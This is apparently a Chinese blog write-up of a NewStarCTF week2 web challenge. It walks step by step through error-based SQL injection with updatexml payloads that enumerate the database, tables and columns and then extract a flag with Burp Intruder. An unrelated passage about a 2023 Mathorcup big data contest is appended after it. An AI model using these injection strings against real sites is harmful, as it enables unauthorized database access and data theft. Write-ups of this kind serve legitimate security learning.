【buuctf】 NewStarCTF 公开赛赛道 week2 Word-For-You(2 Gen)

1、溜达一圈没看到什么,继续尝试一下sql注入

在查询页面抓个包

 

2、加个单引号,查看一下,会有一个报错,想着尝试一下显错注入。 

3、查看一下,用户,果然可以

1'and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ 

4、继续查库,记录一下当前库名:wfy

1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

5、查表,这个地方需要更改一下limit,控制一下,然后输出所有表名

查第一个表:

1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='wfy' limit 0,1),0x7e),1)--+

查第二个表:(这个地方就是给大家举例一下,就是更改的limit 1,1的位置,后面查询都是以此方式,就不挨个列出了)

1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='wfy' limit 1,1),0x7e),1)--+

记录一下表名:wfy_admin、wfy_comments、wfy_information

一共三个表

5、继续查询列名,先查第一个表:wfy_admin

1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='wfy_admin' limit 0,1),0x7e),1)--+

 

 记录一下所有列名:id,username、password、cookie  

这个地方,还是limit控制输出

6、我们再查询一下,数据

1'and updatexml(1,concat(0x7e,(select id from wfy_admin limit 0,1),0x7e),1)--+

 这个地方,我犯错了,因为没有返回内容,以及题目提示,我认为我的思路有问题,有我没学到的知识点。

根据以往做题,题目好像都是存在amdin表中查询到flag,所以没有继续查询,wfy中的其他表,
所以就错过了flag,最后还是好哥哥解决的题目。

 7、这边我们继续查询,wfy中的其他表,查看一下,是不是有其他内容

先查:wfy_comments表吧

1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='wfy_comments' limit 0,1),0x7e),1)--+  

 记录一下列名:id、text、user、name、display,一共五个列

8、查询一下数据,看看是否存在数据

1'and updatexml(1,concat(0x7e,(select id from wfy_comments limit 0,1),0x7e),1)--+  

这边确实存在数据,好消息!!!

 多输入几位看看有多少行数据,测试了一下,有12列,可以更换列名,挨个尝试 

9、我们继续text列有什么内容

这边我们可以添加一下变量,跑一下各个包,

burp发送到intruder,添加一下变量

 payloads下设置一下

 就可以开始跑了,我们查看一下,状态200的回复包,下面就会显示内容,我们依次翻看一下,

 然后,就找到了flag

10、总结

经过这次比赛越发觉得自己的知识匮乏,这次比赛也就止步于此了,

接下来会继续学习,希望能有进步!!!

最后感谢    递归 trash can  师傅的指正,关于md5数组绕过的理解错误,发布的文章已经改正,希望不要误导更多人。(很开心,发现大师傅一枚,嘿嘿嘿!大师傅主页有更多的wp哦!)

希望能交到更多志趣相投的小伙伴!!!

我是大菜鸡!!!呜呜呜!!!

  • 5
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
2023年Mathorcup大数据挑战赛赛道A将是一场激动人心的竞赛。本次比赛旨在鼓励参赛者运用大数据技术解决实际问题,并推动数据科学在各行各业的应用。以下是我对这个比赛赛道的一些见解: 首先,比赛赛道A将关注某个特定领域的大数据分析,可能是金融、医疗、物流等等。参赛者需要运用数据挖掘、机器学习等技术,对相关数据集进行分析和建模,以解决特定领域内的难题。 其次,参赛者需要具备良好的数据分析能力和工程实践经验。他们可能需要处理大规模的数据集,进行数据清洗、特征提取和模型构建等工作。同时,他们还需要选取合适的算法和模型,并通过实验和优化来提高模型的准确性和效率。 此外,比赛要求参赛者具备良好的团队合作和沟通能力。因为在实际项目中,数据科学家往往需要与数据工程师、业务团队等进行紧密合作,共同解决问题。因此,团队之间的协作和交流能力将成为获胜的关键因素之一。 最后,本次比赛的评分标准很可能是多样化的。除了数据分析的准确性和效果外,评审团可能还会考虑参赛者的创新性、算法设计的合理性、代码的规范性等。因此,参赛者需要在综合能力上有所准备,不仅要关注具体问题的解决,还要注重整体方案的优化和优化思路的创新。 总而言之,2023年的Mathorcup大数据挑战赛赛道A将是一场对数据科学者们来说难得的机会。通过这次比赛,参赛者将不仅可以提升自己的数据分析技能,还可以结识更多的行业专家和同行,并为实际问题的解决贡献自己的力量。希望这场比赛能够激发更多人对大数据挖掘和应用的热情,推动科技的进步和社会的发展。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值